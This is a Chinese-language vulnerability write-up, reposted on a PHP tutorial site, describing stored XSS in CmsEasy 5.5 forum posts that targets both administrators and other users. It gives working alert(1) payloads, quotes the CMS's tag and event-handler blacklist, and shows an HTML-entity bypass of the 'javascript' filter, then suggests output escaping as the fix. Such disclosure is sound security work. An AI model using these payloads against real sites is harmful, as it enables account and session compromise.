网站地图    收藏   

主页 > 入门引导 > 黑客攻防 >

CmsEasy_5.5_UTF-8_20140420 存在存储型xss 可打管理员和

来源:自学PHP网    时间:2015-04-15 15:00 作者: 阅读:

[导读] 第一种情况(攻击管理员):注册用户后,然后访问 CmsEasy_5 5_UTF-8_20140420 uploads bbs add-archive php?cid=1进行发帖,其中主题填写: oninput=alert(1)img 如图所示然后登陆管理员,如图所示:点击操...

第一种情况(攻击管理员):
 
注册用户后,然后访问/CmsEasy_5.5_UTF-8_20140420/uploads/bbs/add-archive.php?cid=1
 
进行发帖,其中主题填写:
 
" oninput=alert(1)><img 如图所示
 
 
然后登陆管理员,如图所示:
 
点击"操作"底下的编辑,然后,让管理员发现问题的时候,对其内容进行删除修改时候,抽发xss
 
如图所示:
 
第二种情况(攻击平行用户):
 
 
 
通过代码审核,发现文件bbs_public.php(55-56)两行采用黑名单方式,那么下来我们就通过绕过方式进行注入:
 
$ra1 = array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');

$ra2 = array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');

 

 
 
再次查看此文件的75行代码$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2);,然后就会明白,原来是在上面名单内的关键字中间添加<x>,通过上面名单查看到<a>,href标签没有被过滤,那么我们可以构造如下:
 
 
 
<a href="javascript:alert(1)">继续查看</a>
 
 
 
当然javascript明显被转移为了jav<x>sript,那么我们可以对其部分字符进行变化,j&#97vascr&#105pt,那么上面就会变为:
 
 
 
<a href="j&#97vascr&#105pt:alert(1)">继续查看</a>
 
 
 
然后继续操作论坛部分,如图所示:
 
然后点击"继续查看",弹出框:
 
 
最后在换一个用户去查看,此用户发的帖子,就会中招
 
 
修复方案:
对输出的参数全部做htmlcode转化

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论